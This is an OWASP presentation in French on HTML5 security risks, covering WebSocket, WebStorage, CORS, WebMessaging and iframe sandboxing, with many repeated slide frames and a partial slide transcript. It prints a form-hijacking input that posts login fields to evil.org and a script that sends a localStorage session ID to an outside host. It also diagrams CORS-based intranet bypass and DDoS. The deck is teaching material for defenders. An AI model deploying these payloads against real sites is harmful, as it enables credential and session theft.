The OWASP Foundation
                                                                 http://www.owasp.org




                             et la Sécurité
                            ou comment les Poneys envahissent le Web 3.0...


                                    Sébastien Gioria
                                      French OWASP Leader
                                    Global Education Committee




                                Paris - 7 Février 2012
Wednesday, February 8, 12
Agenda
                   •Un peu d’histoire
                   •HTML5 pour les nuls en 4mn 2s
                   •Nouvelles attaques et protections ?
                   •Références




                                                          2
Wednesday, February 8, 12
Back to the past
          1995              1998      2000    2005       2012


   HTML 2.0                        HTML 4.0             HTML 5 ?

                                   CSS 2                CSS 3
            JavaScript
                             la DOM    XmlHttpRequest



                                                                   3
Wednesday, February 8, 12
4
Wednesday, February 8, 12
ELEMENTS INTERESSANTS DE HTML5




                                             5
Wednesday, February 8, 12
4mn 2s
                   Nouvelles balises
                            •   On n’est pas la pour parler de peinture...

                   Nouvelles APIs
                            •   WebSocket
                            •   WebMessaging
                            •   IndexedDB
                            •   OffLine Web Application
                            •   WebStorage             (votre nouveau DropBox ? ...)


                            •   Cross Origin Ressource Sharing                         (déja rien que le
                                nom est intéressant...)
                                                                                                           6
Wednesday, February 8, 12
4mn 2s
                   WebSocket : Permet d’effectuer des connexions
                     persistantes et bi-directionnelles
                            • mécanisme de “Push” possible
                            • interface en cours de finalisation/
                              spécifications
                            • nécessite un serveur “compatible”
                            • API minimaliste (send, receive via event)
                            • http://www.w3.org/TR/websockets/
                                                                          7
Wednesday, February 8, 12
4mn 2s
                   WebMessaging : communication inter-documents
                     HTML
                            •   via la méthode window.postMessage();
                            •   pas de garantie de contenu inoffensif (ie;
                                pas de filtre de type anti-XSS ....)
                            •   vérification de l’origine a la charge de
                                l’application receptrice.
                            •   il est possible de transporter du JSON :)
                            •   http://www.w3.org/TR/webmessaging/
                                                                             8
Wednesday, February 8, 12
4mn 2s
                   IndexedDB; la Web SQL Database...
                   •API synchrone et asynchrone
                   •pensée pour JavaScript; stockage
                            d’objets
                   •http://www.w3.org/TR/IndexedDB/



                                                       9
Wednesday, February 8, 12
4mn 2s
                   Offline Web Applications: possibilité
                     d’exécuter tout ou partie des applications
                     même déconnecté.
                            • via navigator.onLine
                            • mise en cache des données
                              nécessaires(HTML, CSS, JavaScript...)
                            • http://www.w3.org/TR/html5/
                              offline.html
                                                                      10
Wednesday, February 8, 12
4mn 2s
                   WebStorage : donne la capacité au navigateur
                     de stocker jusqu’a 5Mo à 10Mo de données
                   •deux type de stockage : local ou de
                            session
                   •possibilité de stocker des objets JSON
                   •possibilité de stocker de manière
                            régulière
                   •http://www.w3.org/TR/webstorage/
                                                                  11
Wednesday, February 8, 12
SÉCURITÉ ?




                            12
Wednesday, February 8, 12
OWASP Top Ten 2010
                                                                           A3:	
  Mauvaise	
  ges-on	
             A4:Référence	
  directe	
  
                                               A2:	
  Cross	
  Site	
  
           A1:	
  Injec-on                                                  des	
  sessions	
  et	
  de	
           non	
  sécurisée	
  à	
  un	
  
                                               Scrip-ng	
  (XSS)
                                                                             l’authen-fica-on                                 objet


                                                                                                                      A8:	
  Mauvaise	
  
   A5:	
  Cross	
  Site	
  Request	
         A6:	
  Mauvaise	
             A7:	
  Mauvais	
  stockage	
  
                                                                                                                   restric-on	
  d’accès	
  à	
  
          Forgery	
  (CSRF)	
             configura-on	
  sécurité            cryptographique
                                                                                                                         une	
  URL



                                              A9:	
  Protec-on	
  
                                                                           A10:	
  	
  Redirec-ons	
  	
  et	
  
                                            insuffisante	
  lors	
  du	
  
                                                                           transferts	
  non	
  validés
                                          transport	
  des	
  données


                                         http://www.owasp.org/index.php/Top_10




Wednesday, February 8, 12
Falsification de Forms
                   Il est possible de contrôler une Forms en
                      dehors de l’élément “forms”
                            <form id=“myform” action=“basic.php” >
                              <input type=“text” name=“user” value=“…” />
                            </form>

                            <input form=“myform” type=“submit” name=“…”
                                value=“Advanced Version”/>




                                                                            14
Wednesday, February 8, 12
Falsification Forms
                   <form id=“login” action=“login.php” >
                     <input type=“text” name=“username” />
                     <input type=“password” name=“password” />
                     <input type=“submit” name=“…” value=“Login” />
                   </form>


                    Si on arrive à injecter ce code
                     New VIP section of the site is open!
                     <input form=“login” type=“submit”
                        name=“Enter VIP section”
                        formaction=“http://evil.org/login.php” />




                               Automatiquement, evil.org dispose
                               des éléments et la Forms initiale est
                               appelée
                                                                       15
Wednesday, February 8, 12
Protocol/content Handlers
                            Il est possible d’enregistrer des handlers de
                                protocole ou de type de fichiers personalisés
                                • sms://
                                • application/pdf
                             Il est possible (mais pas recommandé)
                             de changer les handlers standards
                             (dépend des navigateurs)
                             Il n’est pas obligatoire de demander à
                             l’utilisateur son autorisation

                                                                                16
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4

                   XHR ne peut dialoguer qu’avec le site Web
                     originaire du JavaScript.




                                                               17
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4

                   XHR ne peut dialoguer qu’avec le site Web
                     originaire du JavaScript.




                                                               17
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4

                   XHR ne peut dialoguer qu’avec le site Web
                     originaire du JavaScript.


                            Mais c’etait sans compter les




                                                               17
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4

                   XHR ne peut dialoguer qu’avec le site Web
                     originaire du JavaScript.


                              Mais c’etait sans compter les

                            HTTP/1.1 200 OK
                            Content-Type: text/html
                            Access-Control-Allow-Origin: http://internal.example.com




                                                                                       17
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                    poc.ckers.fr
                                                   GET / HTTP/1.1




                intranet
                                                                              18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                    poc.ckers.fr
                                                   GET / HTTP/1.1




                intranet
                                                                              18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                         poc.ckers.fr

                                             HTTP/1.1 200 Ok
                                             <script>XMLHttpRequest...




                intranet
                                                                                   18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                         poc.ckers.fr

                                             HTTP/1.1 200 Ok
                                             <script>XMLHttpRequest...




                intranet
                                                                                   18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                              Bypass des contrôles d’accès
                                                             poc.ckers.fr
            XMLHTTPRequest




                      intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                              Bypass des contrôles d’accès
                                                             poc.ckers.fr
            XMLHTTPRequest




                      intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                             poc.ckers.fr
                            Access-Control-Allow-Origin: *
                            HTTP/1.1 200 Ok




                intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                             poc.ckers.fr
                            Access-Control-Allow-Origin: *
                            HTTP/1.1 200 Ok




                intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                             poc.ckers.fr
                            Access-Control-Allow-Origin: *
                            HTTP/1.1 200 Ok




                intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                             poc.ckers.fr
                            Access-Control-Allow-Origin: *
                            HTTP/1.1 200 Ok




                intranet
                                                                       18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                           poc.ckers.fr




                intranet
                                                                     18
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4

                            Bypass des contrôles d’accès
                                                                                poc.ckers.fr




                                            POST /endpoint HTTP/1.1
                                            .....(contenu de la page interne)




                intranet
                                                                                          18
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                              poc.ckers.fr
                                             GET / HTTP/1.1




                                                 www.cible.com




                                                                        19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                              poc.ckers.fr
                                             GET / HTTP/1.1




                                                 www.cible.com




                                                                        19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                          poc.ckers.fr

                                       HTTP/1.1 200 Ok
                                       <iframe src=...




                                                     www.cible.com




                                                                     19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                            poc.ckers.fr




                                     XML
                                         HttpRe
                                               ques
                                                   t   www.cible.com




                                                                       19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                         poc.ckers.fr




                                 XML
                                     Http           www.cible.com
                                          Reques
                                                t




                                                                    19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                         poc.ckers.fr




                                                    www.cible.com
                                 XML
                                     Http
                                          Reques
                                                t



                                                                    19
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4

                            DDOS ?
                                                     poc.ckers.fr




                                               www.cible.com




                                                               19
Wednesday, February 8, 12
Cross Origin Resource Sharing 4/4

                   Contre-mesures :
                   •Restriction du domaine
                   •Ne pas faire confiance à l’entete; elle
                            peut être modifiée par l’attaquant.
                   •Mettre en place des contre-mesures
                            réseaux (pour les DDOS)



                                                                  20
Wednesday, February 8, 12
WebStorage
                   Pas de contrôle de la part de l’utilisateur
                     sur ce qui est stocké/accéder
                   L’injection de Javascript peut bypasser la
                      limitation du contrôle d’accès.
                            ➡Vol de Sessions
                            ➡Vol de données sensibles
                            ➡Tracking d’utilisateurs

                                                                 21
Wednesday, February 8, 12
WebStorage
                   Vol de Sessions; juste un peu plus
                     compliqué. :
  <script>
  document.write("<img
  src='http://www.mysite.com?sessionID="+localStorage.getItem('SessionID')+"'>");
  </script>




                            le flag HTTPOnly des cookies ne fonctionne
                            pas sur les localStorage !



                                                                                    22
Wednesday, February 8, 12
WebStorage
                   Tracking User



                                   Les localStorage ne sont pas forcément
                                     effacer lorsqu’on efface l’historique


                            Il est donc possible de créer des
                            identifiants (de type cookies) persistants
                            permettant de suivre l’utilisateur

                                                                             23
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                             GET / HTTP/1.1




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                             GET / HTTP/1.1




                                                                24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok




                                                                     24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok




                                                                     24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok
                                                    Upgrade WebSocket




                                                                        24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok
                                                    Upgrade WebSocket




                                                                        24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok
                                                    Upgrade WebSocket
                                 WebSocket Protocl Handshake




                                                                        24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                    GET / HTTP/1.1

                                  HTTP/1.1 200 Ok
                                                    Upgrade WebSocket
                                 WebSocket Protocl Handshake




                                                                        24
Wednesday, February 8, 12
WebSocket API :)
                   Possible entre différents domaines
                   Permettrai de réduire la taille du contenu
                     transporté ?
                                                         GET / HTTP/1.1

                                   HTTP/1.1 200 Ok
                                                     Upgrade WebSocket
                                 WebSocket Protocl Handshake

                                Tunnel TCP Full Duplex




                                                                          24
Wednesday, February 8, 12
Websocket Menaces
                   Parmi les attaques possible, certaines sont
                     triviales:
                   •Shell Distant
                   •Botnet Web
                    • via un XSS ou tout simplement en se
                            connectant à un site Web.
                   •Port scanning...
                                                                 25
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent




                                                       26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent




                                                       26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent




                                                       26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent




                                                       26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                          GET / HTTP/1.1




                                                           26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                          GET / HTTP/1.1




                                                           26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok




                                                                   26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok




                                                                   26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake

                                             GET / HTTP/1.1
                                             Host: some.host.com




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake

                                             GET / HTTP/1.1
                                             Host: some.host.com




                                                                      26
Wednesday, February 8, 12
WebSocket
                   •Empoisonnement de cache de proxy
                                Proxy Transparent
                                                  GET / HTTP/1.1

                                HTTP/1.1 200 Ok
                                                  Upgrade WebSocket
                               WebSocket Protocol Handshake

                                             GET / HTTP/1.1
                                             Host: some.host.com
                                             HTTP/1.1 200 Ok
                                             Contenu falsifié

                                                                      26
Wednesday, February 8, 12
OffLine Web Application
                  <!DOCTYPE HTML>
                  <html manifest="/cache.manifest">
                  <body>


                   •Possibilité d’avoir des attaques de Type
                            APT ?
                   •Possibilité de pollution des caches de
                            navigateurs (via un point d’accès
                            malveillant); meme du SSL




                                                                27
Wednesday, February 8, 12
WebMessage
                   •Possibilité de perte de données sensibles
                            (si envoyées à une “mauvaise iframe”)
                                                                 Page du site “interne”
                                postMessage()




                                 <iframe src=”outside.control”




                                                                                          28
Wednesday, February 8, 12
API Geolocation
                   Possibilité de découvrir le lieu ou se trouve
                     l’utilisateur (sous reserve d’avoir un
                     GPS, ou autre système).
                   Perte de données de vie privée...




                                                                   29
Wednesday, February 8, 12
Bac a sable des iframes
                    <iframe sandbox="....."
                    src="http://monsite.com/index.html"></iframe>


                   Par défaut si rien n’est précisé :
                   •Les formulaires, scripts et plug-ins sont désactivés.
                   •Pas d’accès aux éléments stockés en local (cookies,
                            sessionStorage, localStorage).
                   •Par d’AJAX
                   •Les liens ne peuvent cibler d’autres frames
                   •Le contenu est considéré externe (pas d’accès à la
                            DOM)


                                                                            30
Wednesday, February 8, 12
Bac a sable des iframes
                   Lever les restrictions :
                   •allow-same-origin : autorise le contenu a être traité comme de
                            la même origine est pas externe
                   •allow-top-navigation : l’iframe peut accéder à la navigation de
                            niveau supérieur
                   •allow-forms : autorise les formulaires
                   •allow- scripts : les scripts (hors popup) sont autorisés

                                 Les navigateurs ne supportent pas
                                 tous ces éléments !
                                                                                      31
Wednesday, February 8, 12
Autres points importants
                   Les longs traitements en JavaScript
                     “plantaient” les navigateurs.
                   Les WebWorkers permettent de lancer des
                     JavaScript en tache de fond

                            DDOS avec CORS & WebWorkers
                               Calculs distribués (cf Ravan)



                                                               32
Wednesday, February 8, 12
Autres Points importants
                   CSS3 introduit de nouvelles capacités à
                     injecter du code JavaScript
                            Nouvelles capacités au ClickJacking




                                                                  33
Wednesday, February 8, 12
Conclusion
            Plein de nouvelles API interessantes pour
               le développeur

                            L’ouverture se fait au détriment de la
                            sécurité....
                            Une surface d’attaque accrue
                            La belle part au JavaScript (qui peut
                            s’executer sans consentement
                            utilisateur)


                                                                     34
Wednesday, February 8, 12
ww.html5test.com




                                               35
Wednesday, February 8, 12
Quelques Sites a suivre..

                   http://www.w3.org/TR/html5/ : le standard
                   https://www.owasp.org/index.php/
                      HTML5_Security_Cheat_Sheet
                   http://www.caniuse.com : liste des différents
                      supports d’API par navigateur
                   http://www.html5test.com : le support de VOTRE
                      navigateur vis a vis de la norme.




                                                                    36
Wednesday, February 8, 12

2011 02-07-html5-security-v1

  • 1.
    The OWASP Foundation http://www.owasp.org et la Sécurité ou comment les Poneys envahissent le Web 3.0... Sébastien Gioria French OWASP Leader Global Education Committee Paris - 7 Février 2012 Wednesday, February 8, 12
  • 2.
    Agenda •Un peu d’histoire •HTML5 pour les nuls en 4mn 2s •Nouvelles attaques et protections ? •Références 2 Wednesday, February 8, 12
  • 3.
    Back to thepast 1995 1998 2000 2005 2012 HTML 2.0 HTML 4.0 HTML 5 ? CSS 2 CSS 3 JavaScript la DOM XmlHttpRequest 3 Wednesday, February 8, 12
  • 4.
  • 5.
    ELEMENTS INTERESSANTS DEHTML5 5 Wednesday, February 8, 12
  • 6.
    4mn 2s Nouvelles balises • On n’est pas la pour parler de peinture... Nouvelles APIs • WebSocket • WebMessaging • IndexedDB • OffLine Web Application • WebStorage (votre nouveau DropBox ? ...) • Cross Origin Ressource Sharing (déja rien que le nom est intéressant...) 6 Wednesday, February 8, 12
  • 7.
    4mn 2s WebSocket : Permet d’effectuer des connexions persistantes et bi-directionnelles • mécanisme de “Push” possible • interface en cours de finalisation/ spécifications • nécessite un serveur “compatible” • API minimaliste (send, receive via event) • http://www.w3.org/TR/websockets/ 7 Wednesday, February 8, 12
  • 8.
    4mn 2s WebMessaging : communication inter-documents HTML • via la méthode window.postMessage(); • pas de garantie de contenu inoffensif (ie; pas de filtre de type anti-XSS ....) • vérification de l’origine a la charge de l’application receptrice. • il est possible de transporter du JSON :) • http://www.w3.org/TR/webmessaging/ 8 Wednesday, February 8, 12
  • 9.
    4mn 2s IndexedDB; la Web SQL Database... •API synchrone et asynchrone •pensée pour JavaScript; stockage d’objets •http://www.w3.org/TR/IndexedDB/ 9 Wednesday, February 8, 12
  • 10.
    4mn 2s Offline Web Applications: possibilité d’exécuter tout ou partie des applications même déconnecté. • via navigator.onLine • mise en cache des données nécessaires(HTML, CSS, JavaScript...) • http://www.w3.org/TR/html5/ offline.html 10 Wednesday, February 8, 12
  • 11.
    4mn 2s WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données •deux type de stockage : local ou de session •possibilité de stocker des objets JSON •possibilité de stocker de manière régulière •http://www.w3.org/TR/webstorage/ 11 Wednesday, February 8, 12
  • 12.
    SÉCURITÉ ? 12 Wednesday, February 8, 12
  • 13.
    OWASP Top Ten2010 A3:  Mauvaise  ges-on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec-on des  sessions  et  de   non  sécurisée  à  un   Scrip-ng  (XSS) l’authen-fica-on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric-on  d’accès  à   Forgery  (CSRF)   configura-on  sécurité cryptographique une  URL A9:  Protec-on   A10:    Redirec-ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données http://www.owasp.org/index.php/Top_10 Wednesday, February 8, 12
  • 14.
    Falsification de Forms Il est possible de contrôler une Forms en dehors de l’élément “forms” <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> 14 Wednesday, February 8, 12
  • 15.
    Falsification Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si on arrive à injecter ce code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> Automatiquement, evil.org dispose des éléments et la Forms initiale est appelée 15 Wednesday, February 8, 12
  • 16.
    Protocol/content Handlers Il est possible d’enregistrer des handlers de protocole ou de type de fichiers personalisés • sms:// • application/pdf Il est possible (mais pas recommandé) de changer les handlers standards (dépend des navigateurs) Il n’est pas obligatoire de demander à l’utilisateur son autorisation 16 Wednesday, February 8, 12
  • 17.
    Cross Origin ResourceSharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. 17 Wednesday, February 8, 12
  • 18.
    Cross Origin ResourceSharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. 17 Wednesday, February 8, 12
  • 19.
    Cross Origin ResourceSharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. Mais c’etait sans compter les 17 Wednesday, February 8, 12
  • 20.
    Cross Origin ResourceSharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. Mais c’etait sans compter les HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://internal.example.com 17 Wednesday, February 8, 12
  • 21.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 22.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 23.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 24.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 25.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 26.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr GET / HTTP/1.1 intranet 18 Wednesday, February 8, 12
  • 27.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr GET / HTTP/1.1 intranet 18 Wednesday, February 8, 12
  • 28.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 29.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr HTTP/1.1 200 Ok <script>XMLHttpRequest... intranet 18 Wednesday, February 8, 12
  • 30.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr HTTP/1.1 200 Ok <script>XMLHttpRequest... intranet 18 Wednesday, February 8, 12
  • 31.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 32.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr XMLHTTPRequest intranet 18 Wednesday, February 8, 12
  • 33.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr XMLHTTPRequest intranet 18 Wednesday, February 8, 12
  • 34.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 35.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18 Wednesday, February 8, 12
  • 36.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18 Wednesday, February 8, 12
  • 37.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18 Wednesday, February 8, 12
  • 38.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18 Wednesday, February 8, 12
  • 39.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18 Wednesday, February 8, 12
  • 40.
    Cross Origin ResourceSharing 2/4 Bypass des contrôles d’accès poc.ckers.fr POST /endpoint HTTP/1.1 .....(contenu de la page interne) intranet 18 Wednesday, February 8, 12
  • 41.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 42.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 43.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 44.
    Cross Origin ResourceSharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19 Wednesday, February 8, 12
  • 45.
